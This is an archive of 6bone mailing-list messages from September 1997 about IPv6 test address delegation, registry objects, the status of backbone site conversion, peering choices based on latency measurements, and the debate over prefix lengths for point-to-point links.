NETCOM-UK            3FFE:1F00::/24
SWITCH               3FFE:2000::/24
JANET                3FFE:2100::/24
STUBA                3FFE:2200::/24
INFN-CNAF            3FFE:2300::/24
====
inet6num:    3FFE:800::/24
netname:     ISI-LAP
descr:       pTLA delegation for the 6bone
country:     US
admin-c:     BM2-6BONE
tech-c:      BM2-6BONE
remarks:     changed from 0900 on 10Sep97
mnt-by:      MNT-ISI-LAP
mnt-lower:   MNT-ISI-LAP
changed:     RLFink@lbl.gov 19970910
source:      6BONE
====
inet6num:    3FFE:900::/24
netname:     CICNET
descr:       pTLA delegation for the 6bone
country:     US
admin-c:     DK1-6BONE
tech-c:      IT1-6BONE
remarks:     changed from 0800 on 10Sep97
mnt-by:      MNT-CICNET
mnt-lower:   MNT-CICNET
changed:     RLFink@lbl.gov 19970910
source:      6BONE


-end



From majordom@ISI.EDU  Wed Sep 10 05:15:30 1997
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Date: Wed, 10 Sep 1997 11:15:30 -0600
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone test address registry facility started up
Cc: davidk@ISI.EDU (David Kessens), RLFink@LBL.gov (Bob Fink LBNL)
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6bone folk,

David Kessens has setup his new inet6num object in the 6bone registry to
allow us to assign, with delegation, the new IPv6 test addresses.

To this end, a top level object has been assigned to me for the new test
TLA with a netname of TEST-TLA-6BONE, with an inet6num value of 3FFE::/16
(see below).  You can reference this object, as well as other new inet6num
objects, by using the 6bone whois query:

	http://www.6bone.net/whois.html

This object is the owner, if you will, of all objects below it.  However,
it is my intention to assign pTLAs as delegated objects and then let them
sub-delegate.

Thus I have created (with some automatic help from David Kessens) the pTLA
objects below the test TLA.  I have shown a sample object below (the one
for TELEBIT).  All pTLAs have been assigned using their existing 6bone
registry ipv6-name as their netname within the inet6num object.

The exceptions to this are MREN, 3COM and VERIO which have not made their
6bone registry entries yet.  They must create their 6bone registry entries
if they wish to use their pTLA assignment (I will create their inet6num
objects as soon as their entries are created).

You should note that the "mnt-by" and "mnt-lower" fields are set to a new
maintainer object created for your site that has the name "MNT-netname"
with the value set to the "notify" value for your site.  You can change
this as you will, but the important thing to note is that the "mnt-lower"
assignment is the person that gets to delegate other inet6num objects below
your site's pTLA assignment.

I think this is enough for now to get you thinking.  Please address
questions to the list, copied to David and me, so we can all learn.


Thanks,

Bob

=============================================
inet6num:    3FFE::/16
netname:     TEST-TLA-6BONE
descr:       Test Address Space for the 6bone
country:     AT AU BE CA CH DE DK ES FI FR GB
country:     HU IE IT JP KR KZ NL NO PL PT RO RU
country:     SE SG SK TW US
admin-c:     RLF1-6BONE
tech-c:      BM2-6BONE
tech-c:      DK13-RIPE
rev-srv:     ns.isi.edu
rev-srv:     imag.imag.fr
remarks:     contact RLF1-6BONE for allocation of a pTLA
remarks:     contact BM2-6BONE for reverse delegations
remarks:     contact DK13-RIPE for issues regarding the 6bone registry
remarks:     version 3
mnt-by:      RLF1-6BONE
mnt-lower:   RLF1-6BONE
changed:     davidk@ISI.EDU 19970908
changed:     rlfink@lbl.gov 19970909
source:      6BONE

==========================
inet6num:    3FFE:100::/24
netname:     TELEBIT
descr:       pTLA delegation for the 6bone
country:     DK
admin-c:     HHA1-6BONE
tech-c:      HHA1-6BONE
mnt-by:      MNT-TELEBIT
mnt-lower:   MNT-TELEBIT
changed:     RLFink@lbl.gov 19970909
source:      6BONE

-end



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From: Stephane Bortzmeyer <bortzmeyer@pasteur.fr>
To: kim yong sin <dragon@dcn.soongsil.ac.kr>
Cc: 6bone@ISI.EDU
Subject: Re: Q:DNS server implement 
In-Reply-To: <3.0.1.32.19970910215545.00699c54@dcn.soongsil.ac.kr> 
     (kim yong sin <dragon@dcn.soongsil.ac.kr>'s message of 
     Wed, 10 Sep 97 21:55:45 +0900)
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On Wednesday 10 September 97, at 21 h 55, the keyboard of kim yong sin 
<dragon@dcn.soongsil.ac.kr> wrote:

> 3. make 'zone file' for domain
> (q1: Can I involve ipv4 and ipv6 hosts information into same zone file?)

Yes. Example:

josephine       IN      A       157.99.60.23
                IN      AAAA    5f06:b500:9d63:3c00:1:800:2b38:703b
josephine-v6    IN      AAAA    5f06:b500:9d63:3c00:1:800:2b38:703b

> For 'nslookup',  it operates well.

I prefer dig.

> (q2: Does client sends 'query' message using ipv6 packet?)

No (unless you have an IPv6 resolver). You can serve IPv6 data with a 
IPv4 BIND (and vice-versa, but I dont' think there is an IPv6 DNS server 
yet).

> (q3: This case,  Which 'resolv.conf' file contains DNS server address ipv6
> or ipv4 addr?)

IPv4 (see above).




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Date: Thu, 11 Sep 1997 18:09:20 +0900
To: 6bone@ISI.EDU
From: Jinsuh shin <jinsuh@dcn.soongsil.ac.kr>
Subject: Q : How can I use Security & Authentication Header??
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As you know, there are several extension header include security &
authentication in IPv6.. so, If these extension headers are implemented,
how can I use Security & Authentication header in application level??

I think that users must be able to use these extension header in
application level..For example, telnet or ftp... But I don't know how??

please, tell me when and how??

thank you..


phone : 02 -573 - 9077

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From majordom@ISI.EDU  Thu Sep 11 09:55:48 1997
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Date: Thu, 11 Sep 1997 15:55:48 -0600
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: status of conversion for 6bone backbone sites
Sender: owner-6bone@ISI.EDU
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I have used the manual text pTLA assignment list to tally the status of
conversion for 6bone pTLA sites (see below).

Only a few sites have sent me their status, and what hasn't been said
(generally) is if the conversion includes EUI-64.

So...6bone pTLA sites, please send me your status of conversion.   I would
also appreciate it if you state your disposition re EUI-64, and what vendor
or system is preventing your being ready by October for conversion.


Thanks,

Bob

==== from  http://www.6bone.net/6bone_pTLA_list.html

ipv6-site name       test prefix     status for conversion
--------------       --------------  ------------------------
INNER                3FFE:0000::/24  converted
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
ISI-LAP              3FFE:0800::/24
CICNET               3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24  ready by Oct 1
CISCO                3FFE:0C00::/24
ANSNET               3FFE:0D00::/24
IFB                  3FFE:0E00::/24  ready by Oct 1
NRL                  3FFE:0F00::/24  converted
CSELT                3FFE:1000::/24
UUNET-UK             3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24  ready by mid-Oct
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24  ready by Oct 1 ??
SWISS-TELECOM        3FFE:1E00::/24
NETCOM-UK            3FFE:1F00::/24
SWITCH               3FFE:2000::/24
JANET                3FFE:2100::/24
STUBA                3FFE:2200::/24  ready by Oct 1
INFN-CNAF            3FFE:2300::/24

-end



From majordom@ISI.EDU  Fri Sep 12 19:50:06 1997
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Hi,
   Writing to find a point of connection to 6bone.


Location:	Adelaide, Australia
Ipv4    :	203.31.34.160
Ipv6	:	5F0A:CC00:CB1F:2200::80:AD16:AD79


Kind Regards,

Tom Hardy

From majordom@ISI.EDU  Fri Sep 12 12:26:45 1997
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Date: Fri, 12 Sep 1997 10:26:45 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Re: status of conversion for 6bone backbone sites
To: "'RLFink@lbl.gov'" <RLFink@lbl.gov>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
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Hi Bob,

here in CSELT we have started moving to the new addressing scheme.
I think that we will be ready by the end of this month but probably our
conversion will not include EUI-64.

At this time we have five different IPv6 implementations in our lab:
Inria, NRL, Linux, Sun and Telebit (router TBC2000). We would like to
move to EUI-64 when at least the Inria, Sun and Telebit implementations
will be able to support it. This is because due to the new solicited
node multicast addresses a machine supporting EUI-64 will not be able to
interoperate with an old one.

     Bye
              Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From majordom@ISI.EDU  Fri Sep 12 13:05:25 1997
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Date: Fri, 12 Sep 1997 11:05:25 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Some changes in CSELT tunnel configuration
To: "'6bone@isi.edu'" <6bone>
Cc: "'RLFink@lbl.gov'" <RLFink@lbl.gov>
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Hi all,

there is a new BGP4+ capable tunnel between CSELT and UUNET-UK and we
have moved to BGP4+ also over our tunnels with NRL and TELEBIT.
We are advertising through these tunnels both the old (5f16:4d00::/32)
and the new (3ffe:1000::/24) CSELT prefix.

The last interesting change is that POLITO/IT is now a CSELT transit
site and it isn't connected to DIGITAL-CA/US anymore. The connection
between CSELT and POLITO is achieved by menas of a new RIPng capable
high performance tunnel established over the SIRIUS italian IP over ATM
network. This should help to improve the italian portion of the 6Bone
network.

    Bye
            Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From majordom@ISI.EDU  Wed Sep 17 01:09:20 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Tue, 16 Sep 1997 23:09:20 +0200
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Subject: On the peering of pTLAs...
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Networking is so fun !!! Especially in europe ;-)

I'm trying to figure out who I should peer with in the new addressing plan.
I know the connection from Renater/france to the US is &*^*&^*&^*&%^^%^&,
so I'm looking mostly for european peers.

It's late (11pm local time), networks should be quiet, time for some pings &
traceroutes on the underlaying IPv4 topology.

For each site, I'm giving the average RTT from G6, % of packet loss
and the approximate route.

IPv4 connectivity of 6bone core sites in Europe to G6:

Site               RTT packet route
                         loss
----------------------------------------------------------------------------
TELEBIT/DK         244ms   0% Ten34UK-stockholm-dk
SICS/SE            50ms    0% Ten34UK-stockholm-se
G6/FR                         LOCAL
JOIN/DE            45ms    0% Ten34DE-frankfort-muenster
SURFNET/NL         85ms   40% Ten34UK-stockholm-amsterdam
IFB/GB             605ms  20% washington-sprint-insnet-ifb
CSELT/IT           300ms  20% Ten34UK-stockholm-ParisEbone-interbusinessIT
UUNET-UK/GB        200ms   0% washington-pipex-UK
UNI-C/dk           80ms    0% Ten34UK-stockholm-dk
ATT-LABS-EUROPE/CH 460ms   0% ten34Londre-stockholm-amsterdam-unisrc-att
SWISS-TELECOM/CH              no valid record in database
NETCOM-UK/GB       270ms  10% washington-netcom-netcomUK
SWITCH/CH          40ms    0% ten34DE-ten34CH-switch
JANET/GB           230ms  20% ten34UK-janet
STUBA/SK           180ms   0%
ten34DE-amsterdam-stockholm-munichEbone-bratislava
INFN-CNAF/IT       50ms    0% ten34DE-ten34IT-infn
INR/RU             2500ms 60% washington-sprint-dtag.de-moscow-inr

If other sites had similar informations on their connectivity,
I would be happy to get them to help me decide on the peering.

	- Alain.

From majordom@ISI.EDU  Tue Sep 16 11:39:33 1997
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Date: Tue, 16 Sep 1997 18:39:33 -0700
To: 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: On the peering of pTLAs...
Cc: "Alain Durand" <Alain.Durand@imag.fr>
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Alain's mail below on using RTT info for helping to determine optimal
backbone peering is a good one.

Has anyone thought of good ways/metrics to decide how pTLA sites can
determine what other pTLA sites to peer with to avoid the old backbone mode
of everyone just trying to peer with everyone?

My hope in all this conversion/backbone-cleanup is that we gain the
necessary reliability to have a reliable backbone.  pTLA sites need to be
ready to provide reliable service!  (sorry to preach :-)


Anyway, ideas and suggestions needed (to the list please), and appreciated.


Thanks,

Bob

=============================================
At 2:09 PM -0700 9/16/97, Alain Durand wrote:
>Networking is so fun !!! Especially in europe ;-)
>
>I'm trying to figure out who I should peer with in the new addressing plan.
>I know the connection from Renater/france to the US is &*^*&^*&^*&%^^%^&,
>so I'm looking mostly for european peers.
>
>It's late (11pm local time), networks should be quiet, time for some pings &
>traceroutes on the underlaying IPv4 topology.
>
>For each site, I'm giving the average RTT from G6, % of packet loss
>and the approximate route.
>
>IPv4 connectivity of 6bone core sites in Europe to G6:
>
>Site               RTT packet route
>                         loss
>----------------------------------------------------------------------------
>TELEBIT/DK         244ms   0% Ten34UK-stockholm-dk
>SICS/SE            50ms    0% Ten34UK-stockholm-se
>G6/FR                         LOCAL
>JOIN/DE            45ms    0% Ten34DE-frankfort-muenster
>SURFNET/NL         85ms   40% Ten34UK-stockholm-amsterdam
>IFB/GB             605ms  20% washington-sprint-insnet-ifb
>CSELT/IT           300ms  20% Ten34UK-stockholm-ParisEbone-interbusinessIT
>UUNET-UK/GB        200ms   0% washington-pipex-UK
>UNI-C/dk           80ms    0% Ten34UK-stockholm-dk
>ATT-LABS-EUROPE/CH 460ms   0% ten34Londre-stockholm-amsterdam-unisrc-att
>SWISS-TELECOM/CH              no valid record in database
>NETCOM-UK/GB       270ms  10% washington-netcom-netcomUK
>SWITCH/CH          40ms    0% ten34DE-ten34CH-switch
>JANET/GB           230ms  20% ten34UK-janet
>STUBA/SK           180ms   0%
>ten34DE-amsterdam-stockholm-munichEbone-bratislava
>INFN-CNAF/IT       50ms    0% ten34DE-ten34IT-infn
>INR/RU             2500ms 60% washington-sprint-dtag.de-moscow-inr
>
>If other sites had similar informations on their connectivity,
>I would be happy to get them to help me decide on the peering.
>
>	- Alain.




From majordom@ISI.EDU  Wed Sep 17 15:51:07 1997
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Date: Wed, 17 Sep 1997 13:51:07 +0200
In-Reply-To: Guy Davies <guyd@uk.uu.net>
        "Re: On the peering of pTLAs..." (Sep 17, 12:06pm)
References: <970916230920.ZM1283@rama.imag.fr>  <341FB9C3.C4055DEC@uk.uu.net>
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To: duncan@nosc.ja.net, Guy Davies <guyd@uk.uu.net>
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On Sep 17, 12:06pm, Guy Davies wrote:

> Here's a similar list for UUNET-UK.  I've also added the total number of
> hops as this could have some bearing on choice of route.  My preferred
> routes would, I guess be those which don't cross the Atlantic twice to
> reach the destination (sorry, Alain ;-)
>
> Based on that, my preferred EU peers would be telebit, sics, surfnet,
> ifb, cselt, uni-c, netcom-uk, janet and stuba.  However, some of the
> RTTs in that list are pretty poor (although loss is generally fairly
> low)
>
> Based purely on RTT, the favourites are telebit, sics, surfnet, ifb,
> uni-c, netcom-uk and janet (all sub 200ms).  I think, given that most of
> the first list appear in the second list and that I already peer with
> all the first list, I'll stick with that for now....  In fact, the only
> one I peer with who's not in the list is G6 who had better connectivity
> to us when we started the peering (not sure why out traffic now goes via
> the states rather than straight across Ebone)


Guy, Duncan,

As it seems G6 has a poor connectivity with UUNET-UK and both G6 & UUNET-UK
have good connectivity to JANET, It will make sense to remove the
G6 <-> UUNET-UK tunnel and that guy & I directly peer with you.

So Duncan, could you announce me all the GPG4+ 3ffe... routes?

	- Alain.

From majordom@ISI.EDU  Thu Sep 18 18:07:04 1997
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Date: Thu, 18 Sep 1997 16:07:04 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Re: On the peering of pTLAs...
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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Hi all,

here in CSELT we have been collecting IPv6 and IP4 reachability
statistics towards all the 6Bone backbone sites since the beginning
of this year.
I think that in order to understand the quality of a connection a single
measurement is not enough but the average over a significative period
of time should be considered.
Therefore I present here the average pkt. loss and RTT over
the last 2 weeks for most of the core sites.

Thinking that a single figure describing the quality of the connection
may be helpful I tryed to define a single quality factor taking
into account both loss and RTT.
The quality factor I have figured out is an estimate of the
probability Q(RTTmax) to get the answer to an ECHO Request 
within RTTmax ms.
The factor depends on the value chosen for RTTmax. Clearly
if we raise RTTmax the weigth given to the RTT value decreases
and if RTTmax -> infinity then Q(RTTmax) -> 1-Loss = Availability.
On the contrary if we decrease RTTmax the weight of the RTT value
increases.

You can see in the following table the values I obtained with
RTTmax=300 ms and RTTmax=400 ms.

Site		av. Loss av. RTT  Q(300)  Q(400)
--------------------------------------------
VIAGENIE	1,68%	   303,75	0,762	  0,866   
CISCO		5,32%	   352,08	0,454	  0,765   
NRL		6,26%    372,06	0,388	  0,715   
CICNET	6,76%    332,75	0,575	  0,766   
ESNET		7,38%	   348,19	0,449	  0,788   
DIGITAL-CA	7,59%	   389,68	0,341	  0,685   
ISI-LAP	8,01%	   371,01	0,170	  0,755   
ANSNET	8,16%    377,74	0,620	  0,758   
BAY		8,78%	   535,40	0,095	  0,292   
NWNET		11,26%   462,08	0,126	  0,633   
WIDE		13,94%   491,97	0,000	  0,026   
UNI-C		15,90%   324,81	0,535	  0,708   
SURFNET	24,84%   320,49	0,474	  0,653   
UUNET-UK	25,16%   383,51	0,183	  0,576   
SWITCH	26,53%   393,26	0,330	  0,583   
SICS		27,38%   293,76	0,524	  0,651   
JOIN		27,97%   381,09	0,139	  0,528   
G6		28,80%   379,04	0,240	  0,533   
IFB		29,61%   865,95	0,010	  0,124   
TELEBIT	34,46%   548,18	0,004	  0,160   

I hope that this information will help to decide on peerings.

    Bye
         Ivano



---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From majordom@ISI.EDU  Thu Sep 18 07:40:05 1997
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To: ipng@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Reply-To: ipng@sunroof.Eng.Sun.COM
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: /126 or /127 -- neither!
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At the PAL1 meeting, when we were considering the 64 bit identifier
which is now part of the addressing architecture, the question arose
of teensy little subnets (such as /126's) for point-to-point links.  I
argued at the time that we have no place, and need no place, for any
prefix with length in the range 65 to 127 bits, inclusive.  That is,
every entry in a (unicast) IPv6 routing table ought to be either a
128 bit "host route" or a prefix of 64 bits or less.

I'd like to elaborate a bit on this argument.  To be specific, I'm
discussing the case of a point-to-point link between two routers
under different organizational control.  This may be a link between
two sites, two ISPs, or a site and an ISP from which the site does
not derive address space.  Possibly what I have to say will be
applicable to p-p links within an organization.  Not being an
enormous ISP or a seller of boxes to enormous ISPs, I enjoy a vast
ignorance about operational customs.


The fundamental reason that IPv4 needs a /30 for a point-to-point
link is that one address is reserved to be the broadcast address on
that subnet.  IPv6 has no broadcast.

A secondary reason is that another address is reserved as an
ill-defined numeric name for the subnet itself.  (I say ill-defined
because so many implementations treat it as a synonym the above
broadcast address.)  IPv6 uses a similar bit-pattern as an anycast
address for "any router on this subnet."

What I've seen requested here for IPv6 is a slice of the address
space to be used for non-routable /126 (or /127) prefixes to number
point-to-point links.  This space would carry, besides scaling
problems, a weighty bureaucracy to administer assignments.  It should
have, therefore, an equally weighty justification.  I think there is
none.

The alternative is for each end of a p-p link to be assigned an
address out of its respective site's prefix.  I believe routing
protocols can perfectly well handle links whose endpoints have unrelated
global-scope addresses.  RIPng, for example, uses link-local next-hop
addresses, and the last section of draft-bates-bgp4-multiprotocol-03.txt
seems to take care of this situation quite nicely.

In summary, the only capability that's lost by having no subnet
allocated to a p-p link is the ability to address "either end of this
link."  The cost of providing that ability is to either use one of
our very large /64 subnets per link, or to do great violence to the
interface identifier concept in the new addressing architecture.

				Matt



From majordom@ISI.EDU  Thu Sep 18 05:02:15 1997
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Date: Thu, 18 Sep 1997 12:02:15 -0700 (PDT)
Message-Id: <199709181902.MAA04758@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: ipng@sunroof.Eng.Sun.COM
Cc: 6bone@ISI.EDU, "Matt Crawford" <crawdad@fnal.gov>
Subject: (IPng 4426) /126 or /127 -- neither!
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>>>>> "Matt" == Matt Crawford <crawdad@fnal.gov> writes:

    Matt> At the PAL1 meeting, when we were considering the 64 bit
    Matt> identifier which is now part of the addressing architecture,
    Matt> the question arose of teensy little subnets (such as /126's)
    Matt> for point-to-point links.  I argued at the time that we have
    Matt> no place, and need no place, for any prefix with length in
    Matt> the range 65 to 127 bits, inclusive.

That is because the address space should be 64 bits in length in the first
place or is there any other reason that escapes me ?

    Matt> I'd like to elaborate a bit on this argument.  To be
    Matt> specific, I'm discussing the case of a point-to-point link
    Matt> between two routers under different organizational control.

I don't think p-to-p links within an organization are different.

    Matt> A secondary reason is that another address is reserved as an
    Matt> ill-defined numeric name for the subnet itself.  (I say
    Matt> ill-defined because so many implementations treat it as a
    Matt> synonym the above broadcast address.)  IPv6 uses a similar
    Matt> bit-pattern as an anycast address for "any router on this
    Matt> subnet."

    Matt> What I've seen requested here for IPv6 is a slice of the
    Matt> address space to be used for non-routable /126 (or /127)
    Matt> prefixes to number point-to-point links.

The two issues aren't really related... one issue is the use of non-routable
addresses for peering, another issue is the question of /127 being valid
subnet lengths. The issue with /127 is as you pointed out if anycast addresses
are mandatory.

    Matt>   This space would
    Matt> carry, besides scaling problems, a weighty bureaucracy to
    Matt> administer assignments.  It should have, therefore, an
    Matt> equally weighty justification.  I think there is none.

This is an argument against non-routable addresses, which i consider
quite reasonable. The motivation for non-routable addresses btw is
to ease "automatic" renumbering of ASes (which is something of a
very unproven concept).

    Matt> The alternative is for each end of a p-p link to be assigned
    Matt> an address out of its respective site's prefix.

You mean unnumbered links ? but there are good reasons to have numbered
p-to-p links.

I don't understand why you are mixing the p-to-p issue with the peering
address issue. What if instead of a serial the peer uses an ethernet ?
Do you proprose to use unnumbered ethernets too ?

    Matt>   I believe routing protocols can perfectly well handle links whose
    Matt> endpoints have unrelated global-scope addresses.

In the context of BGP peering you have:

	    i
	A ----- B

if link is numbered (global scope address):

A and B will announce routes to each other using as nexthop the global
addresses Ia and Ib (respectivly). Those addresses are the ones annouced
in to the IBGP mesh. I's global prefix will be injected into the IGP.

if the link is unnumbered:

A and B will need to make those annoucements with Ag and Bg. That means
site B needs to manually configure a route to A's prefix and inject it
in it's own IGP a vice-versa.

So, taking the address out of the link only adds complexity and creates
two possible reasons for manual reconfiguration: the renumbering of
site A and the renumbering of site B. While you only had one with
a numbered link: the renumbering of link i.

I'm not claiming that using non-routable addresses on link i is the right
thing to do. I'm just trying to clarify what the potential problem might
be (i'm very tempted to say there is none)...

    Matt> RIPng, for example, uses link-local next-hop addresses

Which is a real pain in the neck... because of all the nice effects you
get when you try to redistribute RIP into/from other routing protocols.

But then you need to have link locals anyway in your table (because of
the potential need to send redirects)...

    Matt> In summary, the only capability that's lost by having no
    Matt> subnet allocated to a p-p link is the ability to address
    Matt> "either end of this link."

No. What you loose by not having a subnet in a p-to-p link is the
ability to address the link's end-points knowing only how to route
to the link. That is why numbered links are very useful.

    Matt>   The cost of providing that
    Matt> ability is to either use one of our very large /64 subnets
    Matt> per link,
Not really.

    Matt> or to do great violence to the interface
    Matt> identifier concept in the new addressing architecture.

Since i've absolutely no idea what interface identifiers are useful for i
cannot comment on that.

  Pedro.

From majordom@ISI.EDU  Thu Sep 18 09:26:57 1997
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From: Quaizar Vohra <qv@3com.com>
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To: Pedro Marques <roque@cisco.com>
Cc: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU,
        "Matt Crawford" <crawdad@fnal.gov>
Subject: (IPng 4426) /126 or /127 -- neither!
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	<199709181902.MAA04758@pedrom-ultra.cisco.com>
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Hi Pedro,
	Well if you mean by ununumbered ethernets assigning nodes
on the ethernet (which are peering in some arbitrary fashion)
in different ASs, addresses out of their respective AS's prefix then
the case is no different then the p-to-p link case.

In the ethernet case, as per Matt's suggestion you will configure
nodes from AS A on that etherenet with addresses from a global prefix
assigned to A and let nodes on the same subnet from AS B know that
this prefix is on-link though they are not configured with addresses
from the prefix and vice-versa.

Yes the question still remains which method is better. 
1) Do we use global prefixes assigned to the link which are not
   part of the prefixes assigned to either AS as you suggested
   or somebody did ?
2) Or configure nodes on the link with prefixes belonging to 
   their respective ASs as Matt suggest.
3) Or use a global prefix which is part of a prefix assigned
   to one of the ASs and configure all nodes on the link
   with that prefix. 

As you said in the cases 2) and 3) you have to reconfigure the
nodes with addresses out of new prefixes if renumbering occurs
and introducing them in the IGPs of the involved ASs.
But BGP anyway will require some reconfiguration on renumbering, 
atleast in policies.

While in case of using 1) you will need to setup an administrative
body.

Quaizar
 > 
 > I don't understand why you are mixing the p-to-p issue with the peering
 > address issue. What if instead of a serial the peer uses an ethernet ?
 > Do you proprose to use unnumbered ethernets too ?
 > 
 >     Matt>   I believe routing protocols can perfectly well handle links whose
 >     Matt> endpoints have unrelated global-scope addresses.
 > 
 > In the context of BGP peering you have:
 > 
 > 	    i
 > 	A ----- B
 > 
 > if link is numbered (global scope address):
 > 
 > A and B will announce routes to each other using as nexthop the global
 > addresses Ia and Ib (respectivly). Those addresses are the ones annouced
 > in to the IBGP mesh. I's global prefix will be injected into the IGP.
 > 
 > if the link is unnumbered:
 > 
 > A and B will need to make those annoucements with Ag and Bg. That means
 > site B needs to manually configure a route to A's prefix and inject it
 > in it's own IGP a vice-versa.
 > 
 > So, taking the address out of the link only adds complexity and creates
 > two possible reasons for manual reconfiguration: the renumbering of
 > site A and the renumbering of site B. While you only had one with
 > a numbered link: the renumbering of link i.
 > 
 > I'm not claiming that using non-routable addresses on link i is the right
 > thing to do. I'm just trying to clarify what the potential problem might
 > be (i'm very tempted to say there is none)...
 > 
 >     Matt> RIPng, for example, uses link-local next-hop addresses
 > 
 > Which is a real pain in the neck... because of all the nice effects you
 > get when you try to redistribute RIP into/from other routing protocols.
 > 
 > But then you need to have link locals anyway in your table (because of
 > the potential need to send redirects)...
 > 
 >     Matt> In summary, the only capability that's lost by having no
 >     Matt> subnet allocated to a p-p link is the ability to address
 >     Matt> "either end of this link."
 > 
 > No. What you loose by not having a subnet in a p-to-p link is the
 > ability to address the link's end-points knowing only how to route
 > to the link. That is why numbered links are very useful.
 > 
 >     Matt>   The cost of providing that
 >     Matt> ability is to either use one of our very large /64 subnets
 >     Matt> per link,
 > Not really.
 > 
 >     Matt> or to do great violence to the interface
 >     Matt> identifier concept in the new addressing architecture.
 > 
 > Since i've absolutely no idea what interface identifiers are useful for i
 > cannot comment on that.
 > 
 >   Pedro.

From majordom@ISI.EDU  Thu Sep 18 10:04:08 1997
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Date: Thu, 18 Sep 1997 17:04:08 -0700
From: Jeff Pressman <jpressman@earthlink.net>
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Organization: Amerindo Investment Advisors
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Please take me off this list

this is the fifth message I have sent to this effect

thank you

Jeff Pressman
jpressman@earthlink.net


From majordom@ISI.EDU  Fri Sep 19 20:50:06 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Fri, 19 Sep 1997 18:50:06 +0200
In-Reply-To: Dimitry Haskin <dhaskin@BayNetworks.COM>
        "(IPng 4447) Re: /126 or /127 -- neither!" (Sep 19,  9:47am)
References: <3.0.32.19970919094707.006865b8@pobox>
X-Mailer: Z-Mail (4.0.1 13Jan97)
To: 6bone@ISI.EDU, ipng@sunroof.Eng.Sun.COM
Subject: /64 or /124,/126,/127,/128 addresses?
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I would like to make some comments on this issue
from my 6bone experience with tunnels.

1) There is an interroperability issue now on the way people are doing
tunnels (which are by essence Point ot Point links).
Some implementations can use /128 addresses, end-point addresses may be taken
from any address spaces.
Some implementations do not allow anything longer that /127,
thus there is a technical need to number the tunnel with a /124,
/126 or /127 network.

2) If the tunnel need a network number, the question is now in which address
space this network is taken from? If it's a tunnel between an ISP and a
site,it's not a serious matter, if it's a tunnel between two ISPs,
then it's an issue: will this network be taken from address space A, B or
from a neutral "DMZ".
Taking addresses from the DMZ simplify renumbering (I buy Pedro's arguments)
but it's a real burden to delegate small chunk of this DMZ.
Using networks from address space A or B doens't help for renumbering
anymore than using /128 addresses.


3) In designing the G6 networks on the 6bone with pTLA & pNLAs, I have
dedicated a /64 network for all my ppp links, serial or tunnels.
This prooved very easy to extend to any number of links
If I had to use a /64 prefix for each tunnel, I will first waste a huge lot
of address space (maybe it's not an issue?) and, worse, to maintain
a good design in my addressing architecture, I will have to reserve a
large part of my site /48 prefix for the tunnels, a /52 or /56 prefix.
That's the reason why I like long prefixes, like /124 (easier to read
in hex. digits), and I even like /128 more!

4) Routers must be configured manually. We can not use stateless autoconf.
I found easier to number my routers starting from 1 than to build manually
an EUI64 for them. If ever one wants to reserve well known addresses,
I'd rather like to have 0x000 to 0xFFF reserved for manually configured
hosts and then from 0x1000 to, let's say 0x1FFF for well known addresses

5) If there a need of well known addresses for a point to point link?
Couldn't we say "well known addresses are reserved for non PtP links.

So my personal take is that /128 addresses for tunnels are the simplest
thing to use.

	- Alain.

From majordom@ISI.EDU  Fri Sep 19 03:07:17 1997
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Date: Fri, 19 Sep 1997 10:07:17 -0700
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From: Steve Deering <deering@cisco.com>
Subject: seeking someone
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[I apologize for using this mailing list for this purpose, but I have
exhausted other avenues of enquiry, and at least this shouldn't bother
as many people as posting to the main ipng list...]

I'm trying to find the name and email address of the fellow who talked
to me outside the terminal room at the IETF in Munich, who pointed out
a previously-unconsidered issue/problem with increasing the IPv6
minimum MTU.  He had (and presumably still has) a British accent and
he told me that he teaches IPv6 training classes.  Unfortunately and
embarassingly, I have forgotten both his name and the specific issue he
raised.  If you are that person, or if you know the name and address of
the person I am talking about, please let me know.

Thanks,
Steve



From majordom@ISI.EDU  Tue Sep 23 13:18:32 1997
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Date: Tue, 23 Sep 1997 11:18:32 +0200
From: Andrea Spera <spera@csp.it>
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Hello,

We announce that POLITO is not under DIGITAL-CA anymore. At present we
join  6bone through CSELT, exchanging route via RIPng.


Thanks
Andrea Spera
Roberto Canna



From majordom@ISI.EDU  Tue Sep 23 12:02:03 1997
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Date: Tue, 23 Sep 1997 17:02:03 -0500 (CDT)
